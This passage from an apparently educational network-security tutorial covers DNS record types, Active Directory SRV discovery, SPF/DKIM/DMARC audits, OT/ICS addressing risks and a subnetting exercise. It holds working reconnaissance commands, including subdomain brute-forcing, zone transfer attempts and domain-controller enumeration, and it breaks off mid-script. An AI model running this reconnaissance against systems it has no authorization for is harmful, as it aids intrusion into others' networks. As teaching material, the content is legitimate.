gobuster dns &lt;span class="nt"&gt;-d&lt;/span&gt; example.com &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

&lt;span class="c"&gt;# Brute force DNS with massDNS:&lt;/span&gt;
massdns &lt;span class="nt"&gt;-r&lt;/span&gt; resolvers.txt &lt;span class="nt"&gt;-t&lt;/span&gt; A &lt;span class="nt"&gt;-o&lt;/span&gt; S &lt;span class="nt"&gt;-w&lt;/span&gt; results.txt subdomains.txt

&lt;span class="c"&gt;# Check for DNSSEC:&lt;/span&gt;
dig +dnssec example.com A

&lt;span class="c"&gt;# Check SPF/DKIM/DMARC (email security):&lt;/span&gt;
dig TXT example.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf"&lt;/span&gt;
dig TXT _dmarc.example.com
dig TXT default._domainkey.example.com

&lt;span class="c"&gt;# Host discovery via reverse DNS (PTR records):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;host 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"domain name pointer"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $NF}'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. DNS Record Types — The Full Map
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 Essential DNS Record Types
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Record  Type    Description                          Security Relevance
──────────────────────────────────────────────────────────────────────────────
A       1       IPv4 address for a hostname          Primary attack target — poison this
                example.com → 93.184.216.34          = redirect all traffic

AAAA    28      IPv6 address for a hostname          Same as A but for IPv6
                example.com → 2606:2800:220:1:...    Often less monitored

MX      15      Mail server(s) for a domain          Target for: email spoofing,
                Priority + hostname                  finding mail servers to attack
                10 mail.example.com                 SPF/DKIM/DMARC use MX for context

CNAME   5       Canonical name (alias)               Dangling CNAME = subdomain takeover
                www.example.com → example.com        Multiple subdomains → single target
                                                    CDN configuration

TXT     16      Arbitrary text                       SPF: v=spf1 include:... -all
                                                    DKIM: public key for email signing
                                                    DMARC: v=DMARC1; p=reject; ...
                                                    Domain verification tokens
                                                    Can contain sensitive info (leak)

NS      2       Authoritative name servers           Compromise NS → own entire domain
                example.com NS ns1.example.com       BGP hijack NS IP → poison all records

PTR     12      Reverse DNS (IP → name)             Forensics: identify IPs in logs
                34.216.184.93.in-addr.arpa →        Email: servers without PTR rejected
                example.com                         Recon: find hostnames for IPs

SOA     6       Start of Authority                   Zone transfer: need SOA to start AXFR
                Primary NS, admin email, serials     Serial number reveals update frequency

SRV     33      Service location                     Active Directory critical:
                _kerberos._tcp.domain.com →          SRV records reveal DC location,
                priority weight port target          Kerberos port, LDAP servers
                                                    Used by attackers to find DCs without
                                                    scanning

CAA     257     Certification Authority Auth.        Restricts which CAs can issue certs
                example.com CAA "letsencrypt.org"    If missing: any CA can issue = risk

DNSKEY  48      DNSSEC public key                   Used to verify DNSSEC signatures
DS      43      Delegation Signer                   Links parent/child DNSSEC zones
RRSIG   46      Resource Record Signature           Cryptographic signature on records
NSEC    47      Next Secure (DNSSEC)                Zone walking: enumerate all records
NSEC3   50      Next Secure v3 (hashed)             Prevents zone walking

TLSA    52      TLS Authentication (DANE)            Certificate pinning via DNS
                Associate cert with domain           Requires DNSSEC

SPF     (TXT)   Sender Policy Framework             Which IPs may send email for domain
                v=spf1 ip4:1.2.3.0/24 -all         Missing SPF = email spoofing possible

DKIM    (TXT)   DomainKeys Identified Mail          Public key for email signature verification
                Public key for signature verify     Missing DKIM = email modification undetected

DMARC   (TXT)   Domain-based Message Auth.          Policy for SPF/DKIM failure
                v=DMARC1; p=reject                 p=none: monitor only
                rua=mailto:dmarc@example.com        p=quarantine: mark as spam
                                                   p=reject: reject → prevents phishing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Active Directory and DNS
&lt;/h3&gt;

&lt;p&gt;Active Directory depends critically on DNS SRV records. When a Windows machine joins a domain, it queries DNS for SRV records to find domain controllers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# These DNS queries reveal AD infrastructure:&lt;/span&gt;
dig _ldap._tcp.dc._msdcs.example.com SRV     &lt;span class="c"&gt;# Find domain controllers (LDAP)&lt;/span&gt;
dig _kerberos._tcp.dc._msdcs.example.com SRV  &lt;span class="c"&gt;# Find KDC (Kerberos)&lt;/span&gt;
dig _kpasswd._tcp.example.com SRV              &lt;span class="c"&gt;# Find Kerberos password server&lt;/span&gt;
dig _gc._tcp.example.com SRV                  &lt;span class="c"&gt;# Find Global Catalog server&lt;/span&gt;

&lt;span class="c"&gt;# Example response:&lt;/span&gt;
&lt;span class="c"&gt;# _ldap._tcp.dc._msdcs.example.com  600 IN SRV 0 100 389 dc1.example.com&lt;/span&gt;

&lt;span class="c"&gt;# This tells an attacker: DC is at dc1.example.com on port 389&lt;/span&gt;
&lt;span class="c"&gt;# No scanning required — DNS reveals the architecture&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate AD DNS from inside:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import dns.resolver
domain = 'example.com'
for srvtype in ['_ldap._tcp.dc._msdcs', '_kerberos._tcp.dc._msdcs', '_gc._tcp']:
    try:
        answers = dns.resolver.resolve(f'{srvtype}.{domain}', 'SRV')
        for rdata in answers:
            print(f'{srvtype}: {rdata}')
    except: pass
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Email Security DNS Records In Depth
&lt;/h3&gt;

&lt;p&gt;Email spoofing — sending emails that appear to come from a legitimate domain — is trivially easy without proper DNS configuration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SPF — Sender Policy Framework:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;TXT record at the apex domain:
  &lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;spf1 ip4:203.0.113.0/24 include:sendgrid.net include:mailchimp.com ~all

Mechanisms:
  ip4:IP/mask    → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IP matches
  ip6:IP/mask    → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IPv6 matches
  a:hostname     → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IP is A record of &lt;span class="nb"&gt;hostname
  &lt;/span&gt;mx             → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IP is MX record of domain
  include:domain → Check that domain&lt;span class="s1"&gt;'s SPF record too
  redirect:domain → Use another domain'&lt;/span&gt;s SPF record entirely

Qualifiers &lt;span class="o"&gt;(&lt;/span&gt;before mechanism&lt;span class="o"&gt;)&lt;/span&gt;:
  +  &lt;span class="o"&gt;(&lt;/span&gt;Pass — allow&lt;span class="o"&gt;)&lt;/span&gt;: default, usually omitted
  -  &lt;span class="o"&gt;(&lt;/span&gt;Fail — reject&lt;span class="o"&gt;)&lt;/span&gt;: hard fail
  ~  &lt;span class="o"&gt;(&lt;/span&gt;SoftFail — mark&lt;span class="o"&gt;)&lt;/span&gt;: soft fail, usually accept but mark as suspicious
  ?  &lt;span class="o"&gt;(&lt;/span&gt;Neutral&lt;span class="o"&gt;)&lt;/span&gt;: no assertion

All mechanism &lt;span class="o"&gt;(&lt;/span&gt;at end&lt;span class="o"&gt;)&lt;/span&gt;:
  &lt;span class="nt"&gt;-all&lt;/span&gt;  → Hard fail all non-matching senders &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;
  ~all  → Soft fail all non-matching &lt;span class="o"&gt;(&lt;/span&gt;less strict&lt;span class="o"&gt;)&lt;/span&gt;
  +all  → Pass all &lt;span class="o"&gt;(&lt;/span&gt;completely useless — anyone can send&lt;span class="o"&gt;)&lt;/span&gt;
  ?all  → Neutral &lt;span class="o"&gt;(&lt;/span&gt;nearly useless&lt;span class="o"&gt;)&lt;/span&gt;

Security check:
dig TXT example.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1"&lt;/span&gt;
&lt;span class="c"&gt;# No SPF record: anyone can spoof email from this domain&lt;/span&gt;
&lt;span class="c"&gt;# SPF with +all or ?all: SPF is essentially disabled&lt;/span&gt;
&lt;span class="c"&gt;# SPF with ~all: better, but still allows delivery&lt;/span&gt;
&lt;span class="c"&gt;# SPF with -all: strongest protection&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DKIM — DomainKeys Identified Mail:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TXT record at: selector._domainkey.domain.com
Example: default._domainkey.example.com

Content:
  v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...

How it works:
  1. Mail server signs outgoing email with private key
  2. Signature is added as a header: DKIM-Signature: v=1; a=rsa-sha256; ...
  3. Receiving server fetches public key from DNS
  4. Receiving server verifies signature
  5. If valid: email was not modified in transit, came from claimed domain

Attack without DKIM:
  Attacker intercepts email in transit
  Modifies content (changes bank account number, inserts malware link)
  No detection possible — email arrives with original From: header

Check DKIM:
dig TXT default._domainkey.example.com
# p= field is the public key
# If empty record or no record: DKIM not deployed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DMARC — Domain-based Message Authentication:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TXT record at: _dmarc.domain.com
Example: _dmarc.example.com  IN TXT  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:forensics@example.com; sp=reject; adkim=s; aspf=s; pct=100"

Tags:
  p=none       Monitor only — don't reject. Use during initial deployment.
  p=quarantine Send to spam if SPF/DKIM fail. Intermediate step.
  p=reject     Reject if SPF/DKIM fail. Maximum protection.

  rua= Aggregate reports URI (where to send daily summaries)
  ruf= Forensic reports URI (where to send per-failure reports)

  sp=  Policy for subdomains (same values as p=)
  pct= Percentage of mail to apply policy to (100 = all)

  adkim= DKIM alignment: r=relaxed, s=strict
  aspf=  SPF alignment: r=relaxed, s=strict

DMARC without DKIM/SPF: useless
DMARC with p=none: monitoring only, no protection
DMARC with p=reject: strongest — phishing using your domain fails at delivery

Check DMARC:
dig TXT _dmarc.example.com
# No record: DMARC not deployed — spoofing possible even with SPF
# p=none: monitoring only
# p=reject: strong protection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete email security DNS audit:&lt;/span&gt;
&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"example.com"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== SPF ==="&lt;/span&gt;
dig TXT &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NO SPF RECORD"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DMARC ==="&lt;/span&gt;
dig TXT _dmarc.&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=DMARC1"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NO DMARC RECORD"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DKIM (common selectors) ==="&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;selector &lt;span class="k"&gt;in &lt;/span&gt;default google selector1 selector2 k1 s1 mail&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig TXT &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;selector&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;._domainkey.&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=DKIM1"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DKIM found: selector=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;selector&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== MX records ==="&lt;/span&gt;
dig MX &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; +short

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== CAA records ==="&lt;/span&gt;
dig CAA &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; +short &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NO CAA RECORD — any CA can issue certificates"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. IP Addressing in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  14.1 Addressing Challenges Unique to OT
&lt;/h3&gt;

&lt;p&gt;Industrial control systems present IP addressing challenges that do not exist in enterprise IT:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static vs Dynamic Addressing:&lt;/strong&gt;&lt;br&gt;
Most OT devices use static IP addresses — DHCP is rarely used for PLCs, RTUs, and IEDs. The reasons are operational:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A PLC must be reachable at a known, fixed address for the HMI to communicate with it&lt;/li&gt;
&lt;li&gt;DHCP lease renewal could theoretically interrupt communication at a critical moment&lt;/li&gt;
&lt;li&gt;Legacy devices may not support DHCP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Static addressing in OT means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP addresses are documented (if you're lucky) or undocumented (common)&lt;/li&gt;
&lt;li&gt;Asset inventory is manual and often out of date&lt;/li&gt;
&lt;li&gt;Scanning the network for asset discovery causes operational concerns&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flat vs Segmented OT Networks:&lt;/strong&gt;&lt;br&gt;
Many industrial networks were designed without subnetting. Everything on one flat /24 or even /16. This is operationally simple but security catastrophic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No segmentation between HMI, PLC, historian, engineering workstation&lt;/li&gt;
&lt;li&gt;ARP poisoning reaches all devices&lt;/li&gt;
&lt;li&gt;Compromised engineering workstation can reach all PLCs directly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The IT-OT Boundary:&lt;/strong&gt;&lt;br&gt;
The connection between corporate IT and OT networks is one of the most dangerous misconfiguration points. Common issues:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Router directly connecting IT /24 to OT /24 with no firewall&lt;/li&gt;
&lt;li&gt;VLAN separation without firewall — same L3 router handles both&lt;/li&gt;
&lt;li&gt;"Air-gapped" networks with unexpected connections (maintenance laptops, remote access for vendors)
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# OT network IP discovery (non-disruptive methods):&lt;/span&gt;
&lt;span class="c"&gt;# Passive discovery — listen only, no active scanning&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;span class="c"&gt;# Captures source IPs from traffic — non-disruptive&lt;/span&gt;

&lt;span class="c"&gt;# Passive ARP monitoring:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp-scan &lt;span class="nt"&gt;--localnet&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^Starting&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^Interface&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;packets"&lt;/span&gt;
&lt;span class="c"&gt;# ARP scan is L2 — does not touch PLCs/RTUs (they ignore ARP they don't need to answer)&lt;/span&gt;

&lt;span class="c"&gt;# Active scanning RISK in OT:&lt;/span&gt;
&lt;span class="c"&gt;# Nmap to a PLC can:&lt;/span&gt;
&lt;span class="c"&gt;#   - Crash the PLC (some cannot handle SYN flood at scan speed)&lt;/span&gt;
&lt;span class="c"&gt;#   - Trigger watchdog reset&lt;/span&gt;
&lt;span class="c"&gt;#   - Fill the PLC's connection table&lt;/span&gt;
&lt;span class="c"&gt;#   - Generate alarms in the control system&lt;/span&gt;
&lt;span class="c"&gt;# ALWAYS get explicit permission from the system owner&lt;/span&gt;
&lt;span class="c"&gt;# ALWAYS use very low scan rates: nmap -T0 -sn (ping only, paranoid timing)&lt;/span&gt;
&lt;span class="c"&gt;# ALWAYS test on a non-production system first&lt;/span&gt;
&lt;span class="c"&gt;# NEVER use -sS, -sV, -A on OT devices without explicit testing&lt;/span&gt;

&lt;span class="c"&gt;# Safe active discovery for OT:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-T1&lt;/span&gt; &lt;span class="nt"&gt;-sn&lt;/span&gt; 10.20.0.0/24     &lt;span class="c"&gt;# Ping only, slow timing&lt;/span&gt;
&lt;span class="c"&gt;# Even this should be approved — some OT devices respond unexpectedly to ICMP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  14.2 DHCP in OT Environments
&lt;/h3&gt;

&lt;p&gt;While PLCs and field devices use static IPs, other OT components may use DHCP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Engineering workstations (EWS)&lt;/li&gt;
&lt;li&gt;Human-Machine Interfaces (HMI) — some&lt;/li&gt;
&lt;li&gt;Laptops used for maintenance&lt;/li&gt;
&lt;li&gt;IP cameras and physical security devices&lt;/li&gt;
&lt;li&gt;Network switches (management interface)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A rogue DHCP server in the OT network can poison the gateway for any DHCP-configured device. If the engineering workstation's gateway is poisoned, the attacker sees all communication between the EWS and the PLCs — including ladder logic uploads, configuration changes, and diagnostic data.&lt;/p&gt;
&lt;h3&gt;
  
  
  14.3 DNS in OT Environments
&lt;/h3&gt;

&lt;p&gt;Most OT field devices (PLCs, RTUs) do not use DNS — they communicate by IP address directly, configured statically. However:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HMI and SCADA servers&lt;/strong&gt; often use DNS to resolve historian server names, license servers, update servers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Engineering workstations&lt;/strong&gt; use DNS for everything a standard Windows machine uses DNS for&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Some modern PLCs&lt;/strong&gt; (Siemens S7-1500, Allen-Bradley CompactLogix) support DNS for tag name resolution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;DNS for OT attack reconnaissance:&lt;/strong&gt;&lt;br&gt;
Internal OT hostnames often follow naming conventions that reveal the network structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plc-production-1.ot.company.local
hmi-controlroom.ot.company.local
historian-01.ot.company.local
ews-engineer-1.ot.company.local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker gains access to a DNS server or captures DNS traffic, these hostnames reveal the OT architecture without any active scanning.&lt;/p&gt;




&lt;h2&gt;
  
  
  15. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Binary and Subnetting Mastery (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build a subnetting calculator from scratch in Python:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/subnet_calc.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
Manual subnetting calculator — build intuition by doing it step by step
"""

def decimal_to_binary(n):
    """Convert decimal to 8-bit binary string."""
    return format(n, '08b')

def ip_to_binary(ip):
    """Convert IP string to binary string."""
    octets = [int(o) for o in ip.split('.')]
    return '.'.join(decimal_to_binary(o) for o in octets)

def binary_to_ip(binary):
    """Convert 32-bit binary string to IP."""
    # Remove dots if present
    clean = binary.replace('.', '')
    octets = [int(clean[i:i+8], 2) for i in range(0, 32, 8)]
    return '.'.join(str(o) for o in octets)

def prefix_to_mask(prefix):
    """Convert prefix length to subnet mask."""
    mask_binary = '1' * prefix + '0' * (32 - prefix)
    return binary_to_ip(mask_binary)

def subnet_info(ip, prefix):
    """Calculate all subnet information."""
    print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;{'='*50}")
    print(f"Input: {ip}/{prefix}")
    print(f"{'='*50}")

    # Convert to binary
    ip_bin = ip_to_binary(ip).replace('.', '')
    mask = prefix_to_mask(prefix)
    mask_bin = ip_to_binary(mask).replace('.', '')

    # Network address (AND)
    net_bin = ''.join('1' if ib == '1' and mb == '1' else '0'
                      for ib, mb in zip(ip_bin, mask_bin))

    # Broadcast (OR with inverted mask)
    wildcard_bin = ''.join('0' if b == '1' else '1' for b in mask_bin)
    bcast_bin = ''.join('1' if nb == '1' or wb == '1' else '0'
                        for nb, wb in zip(net_bin, wildcard_bin))

    network = binary_to_ip(net_bin)
    broadcast = binary_to_ip(bcast_bin)
    mask_str = mask
    wildcard = binary_to_ip(wildcard_bin)

    # Host count
    host_bits = 32 - prefix
    total = 2 ** host_bits
    usable = max(0, total - 2)

    # First and last host
    first_bin = net_bin[:-1] + '1' if prefix &amp;lt; 32 else net_bin
    last_bin = bcast_bin[:-1] + '0' if prefix &amp;lt; 32 else bcast_bin
    first_host = binary_to_ip(first_bin)
    last_host = binary_to_ip(last_bin)

    print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Binary representations:")
    print(f"  IP:       {ip_to_binary(ip)}")
    print(f"  Mask:     {ip_to_binary(mask)}")
    print(f"  Network:  {ip_to_binary(network)}")
    print(f"  Broadcast:{ip_to_binary(broadcast)}")

    print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Decimal values:")
    print(f"  Network address:   {network}")
    print(f"  Subnet mask:       {mask_str}")
    print(f"  Wildcard mask:     {wildcard}")
    print(f"  Broadcast address: {broadcast}")
    print(f"  First host:        {first_host}")
    print(f"  Last host:         {last_host}")
    print(f"  Usable hosts:      {usable}")

# Test cases:
subnet_info("192.168.1.100", 24)
subnet_info("10.0.0.1", 8)
subnet_info("172.16.5.200", 20)
subnet_info("192.168.10.130", 25)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;python3 /tmp/subnet_calc.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: DNS Reconnaissance (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete DNS reconnaissance of a target domain&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cloudflare.com"&lt;/span&gt;   &lt;span class="c"&gt;# Use a public domain — always legal to query public DNS&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Basic Records ==="&lt;/span&gt;
dig A &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short          &lt;span class="c"&gt;# IPv4&lt;/span&gt;
dig AAAA &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short       &lt;span class="c"&gt;# IPv6&lt;/span&gt;
dig MX &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short         &lt;span class="c"&gt;# Mail servers&lt;/span&gt;
dig NS &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short         &lt;span class="c"&gt;# Name servers&lt;/span&gt;
dig SOA &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short        &lt;span class="c"&gt;# SOA&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Email Security ==="&lt;/span&gt;
dig TXT &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1|v=DKIM1"&lt;/span&gt;
dig TXT _dmarc.&lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Zone Transfer Attempt ==="&lt;/span&gt;
&lt;span class="nv"&gt;NS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig NS &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
dig axfr @&lt;span class="nv"&gt;$NS&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;
&lt;span class="c"&gt;# Should fail with "Transfer failed" — success would be a misconfiguration&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Subdomain Enumeration (passive) ==="&lt;/span&gt;
&lt;span class="c"&gt;# Using certificate transparency logs (no active scanning):&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://crt.sh/?q=%25.&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;output=json"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import json, sys
data = json.load(sys.stdin)
names = set()
for cert in data:
